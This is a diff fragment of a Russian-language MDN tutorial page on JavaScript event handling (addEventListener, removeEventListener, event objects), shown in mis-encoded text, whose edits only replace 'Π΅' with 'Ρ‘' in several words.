<h3 id="Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ_addEventListener_ΠΈ_removeEventListener">Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ addEventListener() ΠΈ removeEventListener()</h3>
-<p>Новый Ρ‚ΠΈΠΏ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠ° событий ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π² спСцификации <a href="https://www.w3.org/TR/DOM-Level-2-Events/">Document Object Model (DOM) Level 2 Events</a>, которая прСдоставляСт Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ Π½ΠΎΠ²ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ β€” <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>. Π Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΎΠ½Π° Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ свойствам ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий, Π½ΠΎ синтаксис совсСм Π΄Ρ€ΡƒΠ³ΠΎΠΉ. Наш ΠΏΡ€ΠΈΠΌΠ΅Ρ€ со случайным Ρ†Π²Π΅Ρ‚ΠΎΠΌ ΠΌΠΎΠ³ Π±Ρ‹ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΈ Ρ‚Π°ΠΊ:</p>
+<p>Новый Ρ‚ΠΈΠΏ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠ° событий ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π² спСцификации <a href="https://www.w3.org/TR/DOM-Level-2-Events/">Document Object Model (DOM) Level 2 Events</a>, которая прСдоставляСт Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ Π½ΠΎΠ²ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ β€” <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>. Π Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΎΠ½Π° Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ свойствам ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий, Π½ΠΎ синтаксис совсСм Π΄Ρ€ΡƒΠ³ΠΎΠΉ. Наш ΠΏΡ€ΠΈΠΌΠ΅Ρ€ со случайным Ρ†Π²Π΅Ρ‚ΠΎΠΌ ΠΌΠΎΠ³ Π±Ρ‹ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΈ Ρ‚Π°ΠΊ:</p>
<pre class="brush: js notranslate">var btn = document.querySelector('button');
@@ -204,7 +204,7 @@ btn.addEventListener('click', bgChange);</pre>
document.body.style.backgroundColor = rndCol;
});</pre>
-<p>Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ ΠΈΠΌΠ΅Π΅Ρ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ прСимущСства ΠΏΠΎ ΡΡ€Π°Π²Π½Π΅Π½ΠΈΡŽ с Π±ΠΎΠ»Π΅Π΅ старыми ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠ°ΠΌΠΈ, рассмотрСнными Ρ€Π°Π½Π΅Π΅. НапримСр, сущСствуСт аналогичная функция <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/removeEventListener">removeEventListener()</a></code>, которая удаляСт Ρ€Π°Π½Π΅Π΅ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½Ρ‹ΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ. Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΡŽ Π½Π°Π±ΠΎΡ€Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² Π² ΠΏΠ΅Ρ€Π²ΠΎΠΌ Π±Π»ΠΎΠΊΠ΅ ΠΊΠΎΠ΄Π° Π² этом Ρ€Π°Π·Π΄Π΅Π»Π΅:</p>
+<p>Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ ΠΈΠΌΠ΅Π΅Ρ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ прСимущСства ΠΏΠΎ ΡΡ€Π°Π²Π½Π΅Π½ΠΈΡŽ с Π±ΠΎΠ»Π΅Π΅ старыми ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠ°ΠΌΠΈ, рассмотрСнными Ρ€Π°Π½Π΅Π΅. НапримСр, сущСствуСт аналогичная функция <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/removeEventListener">removeEventListener()</a></code>, которая удаляСт Ρ€Π°Π½Π΅Π΅ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½Ρ‹ΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ. Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΡŽ Π½Π°Π±ΠΎΡ€Π° ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² Π² ΠΏΠ΅Ρ€Π²ΠΎΠΌ Π±Π»ΠΎΠΊΠ΅ ΠΊΠΎΠ΄Π° Π² этом Ρ€Π°Π·Π΄Π΅Π»Π΅:</p>
<pre class="brush: js notranslate">btn.removeEventListener('click', bgChange);</pre>
@@ -226,13 +226,13 @@ myElement.addEventListener('click', functionB);</pre>
<h3 id="Какой_ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ_ΠΌΠ½Π΅_ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ">Какой ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ ΠΌΠ½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ?</h3>
-<p>Из Ρ‚Ρ€Π΅Ρ… ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠΎΠ² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ атрибуты событий HTML. Как ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π»ΠΎΡΡŒ Π²Ρ‹ΡˆΠ΅, это ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠ°Ρ ΠΈ плохая ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ°.</p>
+<p>Из Ρ‚Ρ€Ρ‘Ρ… ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠΎΠ² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ атрибуты событий HTML. Как ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π»ΠΎΡΡŒ Π²Ρ‹ΡˆΠ΅, это ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠ°Ρ ΠΈ плохая ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ°.</p>
<p>ΠžΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ Π΄Π²Π° ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ взаимозамСняСмыми, ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅ для простых Ρ†Π΅Π»Π΅ΠΉ</p>
<ul>
- <li>Бвойства ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий ΠΈΠΌΠ΅ΡŽΡ‚ ΠΌΠ΅Π½ΡŒΡˆΡƒΡŽ ΠΌΠΎΡ‰Π½ΠΎΡΡ‚ΡŒ ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹, Π½ΠΎ Π»ΡƒΡ‡ΡˆΠ΅ ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ ΠΌΠ΅ΠΆΠ΄Ρƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ (поддСрТиваСтся Π΅Ρ‰Π΅ Π² Internet Explorer 8). ВСроятно, Π²Π°ΠΌ слСдуСт Π½Π°Ρ‡Π°Ρ‚ΡŒ с Π½ΠΈΡ…, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΡƒΡ‡ΠΈΡ‚Π΅ΡΡŒ.</li>
- <li>Бобытия уровня 2 DOM (<code>addEventListener()</code> ΠΈ Ρ‚. Π΄.) ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π±ΠΎΠ»Π΅Π΅ ΠΌΠΎΡ‰Π½Ρ‹ΠΌΠΈ, Π½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ ΡΡ‚Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ слоТными ΠΈ Ρ…ΡƒΠΆΠ΅Β ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ (поддСрТиваСтся Π΅Ρ‰Π΅ Π² Internet Explorer 9). Π’Π°ΠΌΒ Ρ‚Π°ΠΊΠΆΠ΅ стоит ΠΏΠΎΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ с Π½ΠΈΠΌΠΈ ΠΈ ΡΡ‚Ρ€Π΅ΠΌΠΈΡ‚ΡŒΡΡ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… Ρ‚Π°ΠΌ, Π³Π΄Π΅ это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ.</li>
+ <li>Бвойства ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий ΠΈΠΌΠ΅ΡŽΡ‚ ΠΌΠ΅Π½ΡŒΡˆΡƒΡŽ ΠΌΠΎΡ‰Π½ΠΎΡΡ‚ΡŒ ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹, Π½ΠΎ Π»ΡƒΡ‡ΡˆΠ΅ ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ ΠΌΠ΅ΠΆΠ΄Ρƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ (поддСрТиваСтся Π΅Ρ‰Ρ‘ Π² Internet Explorer 8). ВСроятно, Π²Π°ΠΌ слСдуСт Π½Π°Ρ‡Π°Ρ‚ΡŒ с Π½ΠΈΡ…, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΡƒΡ‡ΠΈΡ‚Π΅ΡΡŒ.</li>
+ <li>Бобытия уровня 2 DOM (<code>addEventListener()</code> ΠΈ Ρ‚. Π΄.) ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π±ΠΎΠ»Π΅Π΅ ΠΌΠΎΡ‰Π½Ρ‹ΠΌΠΈ, Π½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ ΡΡ‚Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ слоТными ΠΈ Ρ…ΡƒΠΆΠ΅Β ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ (поддСрТиваСтся Π΅Ρ‰Ρ‘ Π² Internet Explorer 9). Π’Π°ΠΌΒ Ρ‚Π°ΠΊΠΆΠ΅ стоит ΠΏΠΎΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ с Π½ΠΈΠΌΠΈ ΠΈ ΡΡ‚Ρ€Π΅ΠΌΠΈΡ‚ΡŒΡΡ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… Ρ‚Π°ΠΌ, Π³Π΄Π΅ это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ.</li>
</ul>
<p>ΠžΡΠ½ΠΎΠ²Π½Ρ‹Π΅ прСимущСства Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅Π³ΠΎ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠ° Π·Π°ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ нСобходимости ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ <code>removeEventListener()</code>, ΠΈ Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ нСсколько элСмСнтов-ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ Ρ‚ΠΈΠΏΠ° ΠΊ элСмСнтам. НапримСр, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ <code>addEventListener('click', function() {...})</code> для элСмСнта нСсколько Ρ€Π°Π·, с Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ функциями, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌΠΈ Π²ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π΅. Π­Ρ‚ΠΎ Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΈ использовании свойств ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π»ΡŽΠ±Ρ‹Π΅ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠΈ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ свойство Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½ΠΈΠ΅, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
@@ -251,7 +251,7 @@ etc.</pre>
<h3 id="ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹_событий">Β  Β ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ событий</h3>
-<p>Иногда Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ с Ρ‚Π°ΠΊΠΈΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ, ΠΊΠ°ΠΊ <code>event</code>, <code>evt</code> ΠΈΠ»ΠΈ просто <code>e</code>. НазываСтся ΠΎΠ½Β <strong>ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ события</strong> ΠΈ он автоматичСски пСрСдаСтся ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ событий для прСдоставлСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ. НапримСр, Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠ΅Ρ€Π΅ΠΏΠΈΡˆΠ΅ΠΌ наш ΠΏΡ€ΠΈΠΌΠ΅Ρ€ со случайным цвСтом:</p>
+<p>Иногда Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ с Ρ‚Π°ΠΊΠΈΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ, ΠΊΠ°ΠΊ <code>event</code>, <code>evt</code> ΠΈΠ»ΠΈ просто <code>e</code>. НазываСтся ΠΎΠ½Β <strong>ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ события</strong> ΠΈ он автоматичСски пСрСдаётся ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ событий для прСдоставлСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ. НапримСр, Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠ΅Ρ€Π΅ΠΏΠΈΡˆΠ΅ΠΌ наш ΠΏΡ€ΠΈΠΌΠ΅Ρ€ со случайным цвСтом:</p>
<pre class="brush: js notranslate">function bgChange(e) {
var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
@@ -271,7 +271,7 @@ btn.addEventListener('click', bgChange);</pre>
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> ВмСсто <code>e</code>/<code>evt</code>/<code>event</code>Β ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ любоС имя для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° события, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π·Π°Ρ‚Π΅ΠΌ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для ссылки Π½Π° Π½Π΅Π³ΠΎ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий. <code>e</code>/<code>evt</code>/<code>event</code> Ρ‡Π°Ρ‰Π΅ всСго ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌΠΈ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΠ΅ ΠΈ Π»Π΅Π³ΠΊΠΎ Π·Π°ΠΏΠΎΠΌΠΈΠ½Π°ΡŽΡ‚ΡΡ. И Ρ…ΠΎΡ€ΠΎΡˆΠΎ ΠΏΡ€ΠΈΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ стандарта.</p>
</div>
-<p><code>e.target</code> ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚, ΠΊΠΎΠ³Π΄Π° Π½ΡƒΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈ Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий Π½Π° нСсколько элСмСнтов ΠΈ, ΠΊΠΎΠ³Π΄Π° Π½Π° Π½ΠΈΡ… происходит событиС, ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ дСйствиС ΠΊ Π½ΠΈΠΌ ΠΊΠΎ всСм. НапримСр, Ρƒ вас ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π°Π±ΠΎΡ€ ΠΈΠ· 16 ΠΏΠ»ΠΈΡ‚ΠΎΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΡ‡Π΅Π·Π°ΡŽΡ‚ ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ. ПолСзно всСгда ΠΈΠΌΠ΅Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ просто ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ исчСз, ΠΊΠ°ΠΊ <code>e.target</code>, вмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π±ΠΎΠ»Π΅Π΅ слоТным способом. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ (см. исходный ΠΊΠΎΠ΄ Π½Π°Β Β <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/useful-eventtarget.html">useful-eventtarget.html</a>,Π°Β ΠΊΠ°ΠΊ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒΒ <a href="https://mdn.github.io/learning-area/javascript/building-blocks/events/useful-eventtarget.html">здСсь</a>), ΠΌΡ‹ создаСм 16 элСмСнтов {{htmlelement ("div")}} с использованиСм JavaScript. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ Π²Ρ‹Π±Π΅Ρ€Π΅ΠΌ всС ΠΈΠ· Π½ΠΈΡ…, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{domxref ("document.querySelectorAll()")}}, ΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ†ΠΈΠΊΠ»Π°Β <code>for</code>Β Π²Ρ‹Π±Π΅Ρ€Π΅ΠΌ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ…, Π΄ΠΎΠ±Π°Π²ΠΈΠ² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ <code>onclick</code> ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ случайный Ρ†Π²Π΅Ρ‚ примСнялся ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ ΠΊΠ»ΠΈΠΊΡƒ:</p>
+<p><code>e.target</code> ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚, ΠΊΠΎΠ³Π΄Π° Π½ΡƒΠΆΠ½ΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈ Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий Π½Π° нСсколько элСмСнтов ΠΈ, ΠΊΠΎΠ³Π΄Π° Π½Π° Π½ΠΈΡ… происходит событиС, ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ дСйствиС ΠΊ Π½ΠΈΠΌ ΠΊΠΎ всСм. НапримСр, Ρƒ вас ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π°Π±ΠΎΡ€ ΠΈΠ· 16 ΠΏΠ»ΠΈΡ‚ΠΎΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΡ‡Π΅Π·Π°ΡŽΡ‚ ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ. ПолСзно всСгда ΠΈΠΌΠ΅Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ просто ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ исчСз, ΠΊΠ°ΠΊ <code>e.target</code>, вмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π±ΠΎΠ»Π΅Π΅ слоТным способом. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ (см. исходный ΠΊΠΎΠ΄ Π½Π°Β Β <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/useful-eventtarget.html">useful-eventtarget.html</a>,Π°Β ΠΊΠ°ΠΊ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒΒ <a href="https://mdn.github.io/learning-area/javascript/building-blocks/events/useful-eventtarget.html">здСсь</a>), ΠΌΡ‹ создаём 16 элСмСнтов {{htmlelement ("div")}} с использованиСм JavaScript. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ Π²Ρ‹Π±Π΅Ρ€Π΅ΠΌ всС ΠΈΠ· Π½ΠΈΡ…, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{domxref ("document.querySelectorAll()")}}, ΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ†ΠΈΠΊΠ»Π°Β <code>for</code>Β Π²Ρ‹Π±Π΅Ρ€Π΅ΠΌ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ…, Π΄ΠΎΠ±Π°Π²ΠΈΠ² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ <code>onclick</code> ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ случайный Ρ†Π²Π΅Ρ‚ примСнялся ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ ΠΊΠ»ΠΈΠΊΡƒ:</p>
<pre class="brush: js notranslate">var divs = document.querySelectorAll('div');
@@ -281,7 +281,7 @@ for (var i = 0; i &lt; divs.length; i++) {
}
}</pre>
